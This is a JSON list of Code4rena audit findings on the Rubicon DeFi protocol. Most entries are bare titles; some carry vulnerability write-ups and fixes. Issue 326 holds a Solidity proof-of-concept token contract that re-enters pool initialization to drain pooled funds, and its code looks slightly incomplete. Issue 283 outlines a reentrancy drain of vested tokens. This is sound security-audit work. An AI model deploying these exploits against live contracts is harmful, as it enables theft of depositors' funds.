"Centralization risk - admin has too much control over protocol."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/340", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "`RubiconMarket.sol#isClosed()` always returns false, making the market can not be stopped as designed", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/339", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconMarket.sol#L471-L473 # Vulnerability details ```solidity function isClosed() public pure returns (bool closed) { return false; } ``` > After close, no new buys are allowed. Based on context and comments, when the market is closed, offers can only be cancelled (offer and buy will throw). However, in the current implementation, `isClosed()` always returns `false`, so the checks on whether the market is closed will always pass. (E.g: `can_offer()`, `can_buy()`, etc) And there is a storage variable called `stopped`, but it's never been used, which seems should be used for `isClosed`. ### Recommendation Change to: ```solidity function isClosed() public pure returns (bool closed) { return stopped; } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/338", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "`BathPair.sol#rebalancePair()` can be front run to steal the pending rebalancing amount", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/337", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor disputed"], "target": "2022-05-rubicon-findings", "body": "`BathPair.sol#rebalancePair()` can be front run to steal the pending rebalancing amount"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/333", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Changing `matchingEnabled` in `RubiconMarket` breaks protocol", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/329", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-rubicon-findings", "body": "Changing `matchingEnabled` in `RubiconMarket` breaks protocol"}, {"title": "Malicious pools can be deployed through `BathHouse`", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/326", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathHouse.sol#L153 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L214 # Vulnerability details ## Title Malicious pools can be deployed through `BathHouse` ## Impact Reentrancy in `BathToken.initialize()` can be exploited and this allows to create a pool which has a legitimate underlying token (even one for which a pool already exists), and has given full approval of underlying Token to an attacker. While this underlying token will differ from the one returned by `BathHouse.getBathTokenfromAsset` for that Pool (since the returned token would be the malicious one which reentered `initialize`), the LPs could still deposit actual legitimate tokens to the pool since it is deployed from the BathHouse and has the same name as a legit pool, and loose their deposit to the attacker. ## Proof of Concept Create a new pool calling `BathHouse.openBathTokenSpawnAndSignal()` and passing as `newBathTokenUnderlying` the address with the following malicious token: ```solidity // SPDX-License-Identifier: BUSL-1.1 pragma solidity =0.7.6; import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\"; import \"@openzeppelin/contracts/access/Ownable.sol\"; import \"../../contracts/rubiconPools/BathToken.sol\"; contract fakeToken is ERC20(\"trueToken\", \"TRUE\"), Ownable { ERC20 trueToken; address marketAddress; uint256 counterApprove; BathToken bathToken; function setTrueToken(address _trueTokenAddress) onlyOwner { trueToken = ERC20(_trueTokenAddress); } function setMarketAddress(address _marketAddress) onlyOwner { marketAddress = _marketAddress; } function approve(address spender, uint256 amount) public virtual override returns (bool) { if (counterApprove == 1) { //first approve is from bathHouse bathToken = BathToken(msg.sender); bathToken.initialize(trueToken, owner, owner); attacked = false; } counterApprove++; _approve(_msgSender(), spender, amount); return true; } function setAndApproveMarket(address _market){ // sets legitimate market after malicious bathToken initialization bathToken.setMarket(_market); bathToken.approveMarket(); } function emptyPool() onlyOwner { // sends pool tokens to attacker uint256 poolBalance = trueToken.balanceOf(address(bathToken)); trueToken.transferFrom(address(bathToken), owner, poolBalance); } } ``` This reenters `BathToken.initialize()` and reassigns the bathHouse role to the fake token, which names itself as the legit token. Also the reentrant call reassigns the legit Token to `underlyingToken` so thet the pool actually contains the legit token, but gives infinite approval for the legit token from the pool to the attacker, who is passed as `market` in the reentrant call. Since the fakeToken has the bathHouse role, it can set the market to the actual RubiconMarket after the reentrant call. Code: [BathHouse.openBathTokenSpawnAndSignal](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathHouse.sol#L153), [BathToken.initialize](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L214) ## Tools Used Manual analysis ## Recommended Mitigation Steps Add `onlyBathHouse` modifier to `initialize` function in `BathToken` to avoid reentrancy from malicious tokens. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/321", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "`RubiconMarket.feeTo` set to zero-address can DoS `buy` function", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/319", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-rubicon-findings", "body": "`RubiconMarket.feeTo` set to zero-address can DoS `buy` function"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/318", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "`RubiconMarket` buys can not be disabled if offer matching is disabled", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/317", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconMarket.sol#L962 # Vulnerability details ## Impact In the `RubiconMarket` contract, buys can be disabled with `setBuyEnabled`. However, if `matchingEnabled` is set to `false`, buys can not be disabled as the `require` check is located in the `_buys` function instead of checking `buyEnabled` in the `buy` function. ## Proof of Concept [RubiconMarket.sol#L962](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconMarket.sol#L962) ```solidity function _buys(uint256 id, uint256 amount) internal returns (bool) { require(buyEnabled); // @audit-info Buys can not be disabled if offer matching is disabled - this require statement should be moved to `buy` function if (amount == offers[id].pay_amt) { if (isOfferSorted(id)) { //offers[id] must be removed from sorted list because all of it is bought _unsort(id); } else { _hide(id); } } require(super.buy(id, amount)); // If offer has become dust during buy, we cancel it if ( isActive(id) && offers[id].pay_amt < _dust[address(offers[id].pay_gem)] ) { dustId = id; //enable current msg.sender to call cancel(id) cancel(id); } return true; } ``` ## Tools Used Manual review ## Recommended mitigation steps Move the `require` check for `buyEnabled` to the `buy` function [here](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconMarket.sol#L662). "}, {"title": "Use `safeTransfer()`/`safeTransferFrom()` instead of `transfer()`/`transferFrom()`", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/316", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L251 # Vulnerability details ## Impact It is a good idea to add a `require()` statement that checks the return value of ERC20 token transfers or to use something like OpenZeppelin\u2019s `safeTransfer()`/`safeTransferFrom()` unless one is sure the given token reverts in case of a failure. Failure to do so will cause silent failures of transfers and affect token accounting in contract. However, using `require()` to check transfer return values could lead to issues with non-compliant ERC20 tokens which do not return a boolean value. Therefore, it's highly advised to use OpenZeppelin\u2019s `safeTransfer()`/`safeTransferFrom()`. ## Proof of Concept **RubiconRouter.sol** [L251](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L251): `ERC20(route[route.length - 1]).transfer(to, currentAmount);`\\ [L303](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L303): `ERC20(buy_gem).transfer(msg.sender, fill);`\\ [L320](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L320): `ERC20(buy_gem).transfer(msg.sender, fill);`\\ [L348](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L348): `ERC20(buy_gem).transfer(msg.sender, buy_amt);`\\ [L377](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L377): `ERC20(pay_gem).transfer(msg.sender, max_fill_amount - fill);`\\ [L406](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L406): `ERC20(buy_gem).transfer(msg.sender, _after - _before);`\\ [L471](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L471): `ERC20(targetPool).transfer(msg.sender, newShares);` **peripheral_contracts/BathBuddy.sol** [L114](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L114): `token.transfer(recipient, amountWithdrawn);` **rubiconPools/BathPair.sol** [L601](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathPair.sol#L601): `IERC20(asset).transfer(msg.sender, booty);`\\ [L615](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathPair.sol#L615): `IERC20(quote).transfer(msg.sender, booty);` **rubiconPools/BathToken.sol** [L353](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L353): `IERC20(filledAssetToRebalance).transfer(`\\ [L357](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L357): `IERC20(filledAssetToRebalance).transfer(msg.sender, stratReward); `\\ [L602](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L602): `underlyingToken.transfer(feeTo, _fee);`\\ [L605](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L605): `underlyingToken.transfer(receiver, amountWithdrawn);` ## Tools Used Manual review ## Recommended mitigation steps Consider using `safeTransfer()`/`safeTransferFrom()` instead of `transfer()`/`transferFrom()`. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/310", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/306", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/304", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/300", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/298", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/297", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/293", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/288", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/287", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/285", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/284", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Possible token reentrancy in release() of BathBuddy.sol", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/283", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L114 # Vulnerability details ## Impact If a token with callback capabilities is used as a token to vested, then a malicious beneficiary may get the vested amount back without waiting for the vesting period. ## Proof of Concept In the function release, line (), there\u2019s no modifier to stop reentrancy, in the other contracts it would be the synchronized modifier. If a token could reenter with a hook in a malicious contract (an ERC777 token, for example, which is backwards compatible with ERC20), released token counter array () wouldn\u2019t be updated, enabling the withdrawal of the vested amount before the vesting period ends. A plausible scenario would be: 1) A malicious beneficiary contract B calls the release() function with itself as the recipient, everything goes according to the function, and transfer and callback to the malicious beneficiary contract happens. 2) Contract B contains tokensReceived(), a function in the ERC777 token that allows for callback to the victim contract as you can see here https://twitter.com/transmissions11/status/1496944873760428058/ (This function also can be any function that is analogous to a fallback function that might be implemented in a modified ERC20. As it can be seen, any token that would give the attacker control over the execution flow will suffice.) 3) Inside the tokensReceived() function, a call is made back to the release function. 5) This steps are repeated until vested amount is taken back. 4) This allows for the malicious beneficiary contract to redeem the vested amount while bypassing the vesting period, due to the released token counter array (https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L116) which controls how many tokens are released (https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L101) being updated only after the transferring of all tokens occurs. As this is the case, malicious beneficiary can get the usual amount that they could withdraw at the time indefinite amount of times (as result of released in line 101 will be 0), thus approximately getting all of their vested amount back without waiting for the vesting period. (fees not included). There's also precedents of similar bugs that reported, as seen here: https://github.com/code-423n4/2022-01-behodler-findings/issues/154#issuecomment-1029448627 ## Tools used Manual code review, talks with dev ## Recommended Mitigations Steps 1) Consider adding a mutex such as nonReentrant, or the synchronized modifier used in the other contracts. 2) Implement checks-effects-interactions pattern. "}, {"title": "maxSellAllAmount and maxBuyAllAmount functions can be unintentionally paused (always revert).", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/282", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L290 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconRouter.sol#L307 # Vulnerability details ## Impact The two functions maxSellAllAmount and maxBuyAllAmount will always revert in case at least (100-fee)\\% of user's balance can be matched with orders. ## Proof of Concept Let say Bob placed an order selling 100 USDC with a low USDT price of 1:0.95. Alice currently has 50 USDT and they want to maxSellAllAmount into USDC. The function will pass 50 as amount into RubiconMarket's buyAll function where it fully matches with Bob's order. Here, the buy() function will first transfer alice's 50 USDT in and later 50 * feeBPS / BPS as fee. In this case, alice can not afford to pay. Therefore, the two functions maxSellAllAmount and maxBuyAllAmount are useless in case user's request can be fully matched. ## Recommended Mitigation Steps Add the fee calculating before passing the amount to the RubiconMarket's buyAll, sellAll function. ```solidity /// @dev this function takes a user's entire balance for the trade in case they want to do a max trade so there's no leftover dust function maxBuyAllAmount( ERC20 buy_gem, ERC20 pay_gem, uint256 max_fill_amount ) external returns (uint256 fill) { //swaps msg.sender's entire balance in the trade uint256 maxAmount = _calcAmountAfterFee(ERC20(buy_gem).balanceOf(msg.sender)); fill = RubiconMarket(RubiconMarketAddress).buyAllAmount( buy_gem, maxAmount, pay_gem, max_fill_amount ); ERC20(buy_gem).transfer(msg.sender, fill); } /// @dev this function takes a user's entire balance for the trade in case they want to do a max trade so there's no leftover dust function maxSellAllAmount( ERC20 pay_gem, ERC20 buy_gem, uint256 min_fill_amount ) external returns (uint256 fill) { //swaps msg.sender entire balance in the trade uint256 maxAmount = _calcAmountAfterFee(ERC20(buy_gem).balanceOf(msg.sender)); fill = RubiconMarket(RubiconMarketAddress).sellAllAmount( pay_gem, maxAmount, buy_gem, min_fill_amount ); ERC20(buy_gem).transfer(msg.sender, fill); } function _calcAmountAfterFee(uint256 amount) internal view returns (uint256) { uint256 feeBPS = RubiconMarket(RubiconMarketAddress).getFeeBPS(); return amount.sub(amount.mul(feeBPS).div(10000)); } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/281", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/279", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/278", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/277", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/269", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Core functionality not re-entrance safe - can result in stolen tokens or compromise the project usability.", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/266", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "Core functionality not re-entrance safe - can result in stolen tokens or compromise the project usability."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/263", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/262", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Deprecated variables may cause DoS", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/254", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": "Deprecated variables may cause DoS"}, {"title": "Admin rug vectors", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/249", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": "Admin rug vectors"}, {"title": "Lack of checks on expectedMarketFeeBPS.", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/240", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-rubicon-findings", "body": "Lack of checks on expectedMarketFeeBPS."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/235", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/234", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "startErUp() in RubiconRouter is callable by anyone which can cause DOS or griefing or fund loss if attacker calls it", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/230", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "startErUp() in RubiconRouter is callable by anyone which can cause DOS or griefing or fund loss if attacker calls it"}, {"title": "Outstanding Amount Of A Pool Reduced Although Tokens Are Not Repaid", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/221", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": "Outstanding Amount Of A Pool Reduced Although Tokens Are Not Repaid"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/219", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/218", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Missing checks allow strategists to steal all fund via `tailOff`", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/211", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": "Missing checks allow strategists to steal all fund via `tailOff`"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/203", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/201", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/200", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/198", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/195", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/194", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "`BathBuddy` contract's `vestedAmount` function includes fees leading to users being disproportionately rewarded after whale withdraws", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/191", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L103-L104 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L133 # Vulnerability details ## Impact When a whale withdraws their tokens and receives rewards from the `BathBuddy` contract the fees they pay will erroneously become part of the calculation performed in function `vestedAmount`. This means that any subsequent withdrawer of funds may receive a disproportionate amount of tokens. The fees paid by a whale could still be much larger than the amount of tokens invested by a minnow. Althought similar to the issue \"When `BathToken` contract is recipient of fees then users can make disproportionate returns after whales withdraw\" it is not the same issue since fees are always accrued in the `BathBuddy` contract and this cannot be changed. Also, the calculations in are subtly different However, the outcome is the same. A minnow can receive a disproportionate reward and drain much of the fees from the contract. The intention of setting the pool as the recipient of the fees was to reward HODLers but, in fact, they will be incentivised to withdraw after a whale does. ## Proof of Concept Consider the following scenario. 1. fee is set to 50 BPS (i.e. 0.50%) 2. A whale deposits 200 tokens 3. A minnow deposits 0.01 tokens 4. A `BathBuddy` contract is set up for the `BathToken` contract. 5. The whale withdraws their funds 6. The minnow then withdraws their funds After step 5, the function `vestedAmount` will return a value that includes the fees paid by the whale. This is because the `BathBuddy` contract is the recipient of all fees. They are not transferred anywhere. Thus, when the minnow withdraws their funds `releasable` is much larger than the amount they otherwise would have expected. Further [sharesWithdrawn](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L103) is equal to [initialTotalSupply](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L104) in this particular scenario so `mul(sharesWithdrawn).div(initialTotalSupply)` evaluates to `1`. This means that `amount = releaseable`. A [test](https://github.com/sseefried/codearena-rubicon-2022-05/blob/f5010d845d3713b07a00f3bb96a5608c6d09b047/test/BugsBathBuddy.js#L55-L145) has been written in the private fork that exhibits this behaviour. ## Tools Used Manual inspection ## Recommended Mitigation Steps Keep a tally of the fees accrued in a separate variable and work out a fairer system for distributing rewards to HODLers. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/187", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/186", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/184", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "admin can anytime change address to which withdrawal funds are sent.", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": "admin can anytime change address to which withdrawal funds are sent."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/174", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/162", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/159", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/158", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Strategists can take more rewards than they should using the function 